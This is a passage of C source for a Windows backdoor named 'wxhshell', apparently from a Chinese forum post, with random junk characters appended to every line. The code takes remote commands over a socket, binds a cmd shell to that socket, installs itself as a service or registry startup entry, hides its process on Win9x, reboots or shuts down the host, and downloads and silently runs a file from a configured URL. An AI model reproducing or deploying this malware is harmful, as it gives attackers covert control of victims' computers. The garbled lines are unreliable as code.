  else { ,s`4k?y  
lsA?|4`mn  
    switch(cmd[0]) { "6q@}sz!  
  10IX8 4  
  // 帮助 pS+hE4D  
  case '?': { (tvfF0~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fUq:`#Q  
    break; `z$=J"%? y  
  } "</A) y&  
  // 安装 L@"&s#~=3  
  case 'i': { L<k(stx~  
    if(Install()) hip't@.uE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *%KIq/V  
    else VmPh''Z%-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'/G DN^j  
    break; /&#y-D_  
    } z f SE7i0  
  // 卸载 ^w1+b;)  
  case 'r': { }UW*[dCf>C  
    if(Uninstall()) hp'oiR;~w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VR>!Ch  
    else C+s/KA%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a`w=0]1&*  
    break; [6mK<A,/  
    } ?tjEXg>ny  
  // 显示 wxhshell 所在路径 x7zc3%T's  
  case 'p': { tz;o6,eb  
    char svExeFile[MAX_PATH]; Bzwll  
    strcpy(svExeFile,"\n\r"); }?Y -I> w  
      strcat(svExeFile,ExeFile); |cY HH$  
        send(wsh,svExeFile,strlen(svExeFile),0); qco'neR"z  
    break; jD S\  
    } !FP ]  
  // 重启 /r~2KZE  
  case 'b': { 9abUh3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ' /HShS!d  
    if(Boot(REBOOT)) fL2P6N@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R|qrK  
    else { g.9C>>tj  
    closesocket(wsh); j.Uy>ol  
    ExitThread(0); ,V9qiu=m   
    } nzaDO-2!  
    break; lF(v<drkB  
    } /P,1KVQPh  
  // 关机 o4FHR+u<M  
  case 'd': { GqCBD-@4v.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kQ\ $0=6N9  
    if(Boot(SHUTDOWN)) <T[LugI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; j.d  
    else { -M=BD-_.h  
    closesocket(wsh); W'vekuM  
    ExitThread(0); jq)Bj#'7  
    } ] [HGzHA  
    break; WBw M;S#%  
    } S}m$,<x  
  // 获取shell FM9X}%5nu9  
  case 's': { c>R`jb@$N  
    CmdShell(wsh); )@<HCRQ'q  
    closesocket(wsh); WG8iTVwx  
    ExitThread(0); q4 Oxs  
    break; .B 85!lCF  
  } 8NaL{j1`  
  // 退出 83  i1  
  case 'x': { >&<<8Ln  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "+n4c'  
    CloseIt(wsh); 2<[ eD`u  
    break; <DeKs?v  
    } c?!YFm  
  // 离开 }x kLD!  
  case 'q': { ggm2%|?X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +9CEC1-l  
    closesocket(wsh); Cdp]Nv6  
    WSACleanup(); :H!(?(Pie  
    exit(1); 5!'R'x5e  
    break; O ;X(pE/G  
        }  Y8)E]D  
  } fg9?3x Z  
  } ET,Q3X\Oe  
a>wfhmr  
  // 提示信息 f {y]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *M> iZO*@  
} >aEL;V=}P  
  } XJx,9trH  
.e`,{G(5q7  
  return; _ yfdj[Ot`  
} K<@[_W+  
\C]i|]tl  
// shell模块句柄 I?_E,.)[ I  
int CmdShell(SOCKET sock) "El^38Ho  
{ Xw7{R  
STARTUPINFO si; "sF Xl  
ZeroMemory(&si,sizeof(si)); u.Mqj"o\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uy/y wm/?=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ss? ]  
PROCESS_INFORMATION ProcessInfo; hc-lzYS  
char cmdline[]="cmd"; 1s#yWQ   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rr|"r  
  return 0; ]>tq|R78  
} #|qm!aGs  
u5Qp/ag?N  
// 自身启动模式 >f&xJq  
int StartFromService(void) ds- yif6   
{ \ ,>_c  
typedef struct JXpoCCe  
{ mfXD1]<.  
  DWORD ExitStatus; "XCU'_k=  
  DWORD PebBaseAddress; YecT 96%  
  DWORD AffinityMask; 6fh{lx>  
  DWORD BasePriority; Y4QLs^IdB  
  ULONG UniqueProcessId; B,3 t`  
  ULONG InheritedFromUniqueProcessId; "Dyym<J  
}   PROCESS_BASIC_INFORMATION; ./$ <J6-J  
@u,+F0Yd  
PROCNTQSIP NtQueryInformationProcess; :@.C4oq  
IuNkfBe4m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "37*A<+f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h ~ $&  
f%c06Un=  
  HANDLE             hProcess; A:/}`  
  PROCESS_BASIC_INFORMATION pbi; d!o.ASL{  
z1F9$ ^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yL.^ =  
  if(NULL == hInst ) return 0; d+tj%7  
Sa Cx)8ul0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JfMJF[Mb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lqF>=15  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;TtaH  
dgXg kB'  
  if (!NtQueryInformationProcess) return 0; #zxd;;p3  
@d&g/ccMxd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W+8^P( K  
  if(!hProcess) return 0; _74UdD{^o  
H.:9:I[n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P@C c]Z  
Jz0K}^Dj[  
  CloseHandle(hProcess); T8U[xu.>  
_ \l HI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0 sZwdO  
if(hProcess==NULL) return 0; [UoqIU  
@l{I[pp  
HMODULE hMod; v;Es^ YI  
char procName[255]; ! tGiTzzp  
unsigned long cbNeeded; ;Z*'D}  
L?HF'5o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c}%es=@  
BhLZ7*  
  CloseHandle(hProcess); hfg O  
%*jGim~s  
if(strstr(procName,"services")) return 1; // 以服务启动 PK+ x6]x  
;|!MI'Af  
  return 0; // 注册表启动 RJx{eck%  
} S 6GMUaR  
>yKpM }6l{  
// 主模块 a%E8(ms37y  
int StartWxhshell(LPSTR lpCmdLine) K"l0w**Og#  
{ %-j&e44  
  SOCKET wsl; irMd jG  
BOOL val=TRUE; c3k|G<C2  
  int port=0; R0<< f]  
  struct sockaddr_in door; 3k' .(P|F  
wFL3& *  
  if(wscfg.ws_autoins) Install(); ez*jjm  
( v@jc8y  
port=atoi(lpCmdLine); x~/+RF XF  
.wc = ]  
if(port<=0) port=wscfg.ws_port; Fe$/t(  
9;KJr[FQV  
  WSADATA data; ?63&g{vA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )}-$A-p#  
~O4|KY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]}LGbv"`A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;[6&0! N\  
  door.sin_family = AF_INET; eb!_ie"D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jJ++h1 K  
  door.sin_port = htons(port); ~7SH4Cr  
Z2p> n`D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e|'N(D}h*  
closesocket(wsl); 8A{6j  
return 1; FA$zZs10\  
} BUC,M:J+H  
*gu8-7'  
  if(listen(wsl,2) == INVALID_SOCKET) { +Me2U9  
closesocket(wsl); XDLEVSly7  
return 1; R^P_{_I*"  
} (0jr;jv  
  Wxhshell(wsl);  c8DZJSO  
  WSACleanup(); gfo}I2"  
1D{#rA.X  
return 0; Alz~-hqQ  
0BTLcEqgZ  
} >oqZ !V5[  
A=`* r*  
// 以NT服务方式启动 0Nr\2|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ybvI?#  
{ kO ![X^V  
DWORD   status = 0; ,w`~K:b.  
  DWORD   specificError = 0xfffffff; >q(6,Mmb  
QIAR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K $-;;pUl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9<cOYY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rn" pKUd  
  serviceStatus.dwWin32ExitCode     = 0; A1_ J sS  
  serviceStatus.dwServiceSpecificExitCode = 0; !N~*EI$  
  serviceStatus.dwCheckPoint       = 0; )H+kB<n  
  serviceStatus.dwWaitHint       = 0; :p-Y7CSSu  
r95zP]T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]!Zty[  
  if (hServiceStatusHandle==0) return; h4 vm{ho  
M#M?1(O/NE  
status = GetLastError(); ~@fR[sg<  
  if (status!=NO_ERROR) J}@GKNm  
{ (I=6Nnt'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Efr&12YSS  
    serviceStatus.dwCheckPoint       = 0; ?,% TU&Yn  
    serviceStatus.dwWaitHint       = 0; ZvH{wt   
    serviceStatus.dwWin32ExitCode     = status; AMT slo  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?}sOG?{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ma]? )1<{  
    return; afm_Rrg[  
  } z5EVG  
Bp3L>AcVu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x!?Z *v@I  
  serviceStatus.dwCheckPoint       = 0; F]5\YYXO  
  serviceStatus.dwWaitHint       = 0; >&hX&,hG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0w3b~RJ  
} ou6j*eSN  
a8JN19}D  
// 处理NT服务事件,比如:启动、停止 kF-TG3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;3 UvkN  
{ %fpsc _  
switch(fdwControl) 8]C1K Zs  
{ vlQ0gsXK  
case SERVICE_CONTROL_STOP: Zh,]J `  
  serviceStatus.dwWin32ExitCode = 0; _,Q[2gQ5N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J px'W  
  serviceStatus.dwCheckPoint   = 0; XV5`QmB9  
  serviceStatus.dwWaitHint     = 0; :bv|Ah  
  { \)R-A '*U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Cr1,Po  
  } <E}N=J'uJ  
  return; b42QBTeg  
case SERVICE_CONTROL_PAUSE: wOcg4HlW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S'@=3)  
  break; o<J5!  
case SERVICE_CONTROL_CONTINUE: .e$%[ )D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q{@P+2<wF  
  break; T6=-hA^A  
case SERVICE_CONTROL_INTERROGATE: (nz}J)T&  
  break; JUU&Z[6J  
}; 6Ahr_{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4NUN Ov`[{  
} [<Jp#&u6sb  
NL-_#N$  
// 标准应用程序主函数 C8MWIX}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -<d(  
{ 2Oi'E  
~M7 J{hK  
// 获取操作系统版本 }D02*s  
OsIsNt=GetOsVer(); +nU"P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;<i`6e  
J\VG/)E  
  // 从命令行安装 MhaN+N  
  if(strpbrk(lpCmdLine,"iI")) Install(); WP{!|d&  
HIM>%   
  // 下载执行文件 -b'93_ZTu:  
if(wscfg.ws_downexe) { >T: Yp<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RR R'azT  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ry2rQM`  
} tai  
o_C j o  
if(!OsIsNt) { l8rBp87Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 =23JE'^=  
HideProc(); \@6P A  
StartWxhshell(lpCmdLine); <4V]>[{W  
} 7[aSP5e>T  
else :y#KR\T1  
  if(StartFromService()) c@iP^;D  
  // 以服务方式启动 QJ1_LJ4)a  
  StartServiceCtrlDispatcher(DispatchTable); (NPDgR/  
else l{OU \  
  // 普通方式启动 9;,_Q q  
  StartWxhshell(lpCmdLine); V-rzn171Q)  
%{'hpT~h  
return 0;  O+D"7  
}
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只看该作者 1 发表于: 2006-10-10
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